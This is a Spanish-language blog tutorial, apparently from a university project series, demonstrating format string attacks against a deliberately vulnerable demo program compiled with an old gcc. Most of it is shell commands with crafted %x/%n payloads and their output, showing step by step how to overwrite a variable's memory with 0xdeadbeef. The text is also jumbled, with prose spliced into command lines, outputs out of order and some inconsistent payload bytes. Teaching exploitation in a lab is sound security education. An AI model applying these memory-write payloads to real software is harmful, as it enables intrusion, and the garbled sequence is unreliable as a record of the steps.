Seguimos con la serie de entradas dedicadas a la técnica Format String Attack
- Format String Attack I de III
- Format String Attack II de III
- Format String Attack III de III
Advertencia
Para realizar las pruebas y obtener los resultados esperados se ha utilizado úna versión desactualizada del compilador gcc, concretamente la 3.4, debido a que la última versión no respetaba los flag para evitar las protecciones de pila.
Cuando vayas a compilar alguno de los códigos vulnerables asegúrate antes de hacerlo poniendo el flag -fno-stack-check.
Escribiendo direcciones de memoria
Al igual que hemos estado usando %x y %s para acceder a los contenidos de las direcciones de memoria, con %n podemos escribir directamente en ellas.
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Correcto:
BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Incorrecto:
BBBB.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.42424242
(-) Valor @ 0x08049648 = 50 0x00000032
La variable Valor está en la dirección de memoria 0x08049648, usando %n seremos capaces de sobreescribir su contenido:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%nEl valor de la variable dependerá del número de formatos que insertemos antes de %n:
Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n
Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%nGracias a esto podemos jugar un poco y decrementar o incrementar el valor, según nos interese. Nuestro siguiente objetivo será escribir en la dirección de memoria donde se encuentra nuestra variable:
Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n
Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 60 0x0000003c
- Escribiremos 0xde000000 en la dirección 0x08049648
- Escribiremos 0x00ad0000 en la dirección 0x08049649
- Escribiremos 0x0000be00 en la dirección 0x0804964a
- Escribiremos 0x000000ef en la dirección 0x0804964b
Para alcanzar nuestro objetivo debemos seguir los siguientes pasos:
- Primero: 0xef - [Valor de la variable] + [Valor del offset]
- Segundo: 0xbe - 0xef
- Tercero: 0xad - 0xbe
- Cuarto: 0xde - 0xad
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%nLa operación 0xef - 41:
Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n
Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029
>>> 0xef - 41Y de offset sumamos 1 (esto puede variar en cada equipo):
198
>>> 198 + 1Necesitamos otro argumento más para que el contador de byte se incremente y nos permita obtener 0xbe. Este argumento puede ser cualquiera, sólo debe cumplir la condición de tener 4 bytes y colocarse justo en la primera dirección de memoria arbitraría posterior a 0x08049648. Y como todo esto debe de ir en el format string que queremos inyectar es fácilmente controlable, así que vamos a buscar una palabra de 4 bytes como "HOLA" y escribamos nuestro format string:
199
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n
Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n
Incorrecto:
H�.bffff6d0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef
"\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"Escribamos ahora 0xef en la primera dirección del búffer:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"Obtenemos como valor para la variable 67:
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n
Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n
Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 67 0x00000043
>>> 0xef-67A la resta le sumamos el offset adecuado:
172
>>> 172+1Y obtenemos que el valor que debemos aplicar es 173:
173
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"Ahora escribamos 0xbe en la segunda dirección del búffer:
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n
Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n
Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef
>>> 0xbe - 0xefEl valor -49 es negativo y no puede ser insertado en la pila, como solución podemos usar el truco del bit menos significativo y obtener así el valor correcto al restar 0x1be - 0xef:
-49
>>> 0x1be - 0xefAhora escribamos 0xad en la tercera dirección del búffer:
207
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%205x.%n
Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%207x.%n
Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 414c4f48.
(-) Valor @ 0x08049648 = 114415 0x0001beef
>>> 0xad-0xbeVolvemos a encontrarnos con el mismo error de antes, para resolverlo, nuevamente usamos el bit menos significativo, y restamos 0x1ad-0xbe:
-17
>>> 0x1ad-0xbePor último escribamos 0xde en la cuarta dirección del búffer:
239
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n
Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%239x.%n
Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = 44941039 0x02adbeef
>>> 0xde-0xadComo este valor sí resulta positivo, podemos inyectarlo automáticamente:
49
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"Si observamos el valor que tenía nuestra variable al principio, veremos cómo ha cambiado:
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n
Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n
Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6a0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef
(-) Valor @ 0x08049648 = 50 0x00000032Y hasta aquí cubrimos con la entrada de hoy, para la siguiente trataré de explicar algunas técnicas como DPA(Direct Parameter Access) para acceder directamente a la posición deseada en la memoria, sobreescribir las secciones .dtors y veremos cómo todo esto puede simplificarse mediante una herramienta que se encargue de construirnos automáticamente la inyección.
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef
Comentarios
Publicar un comentario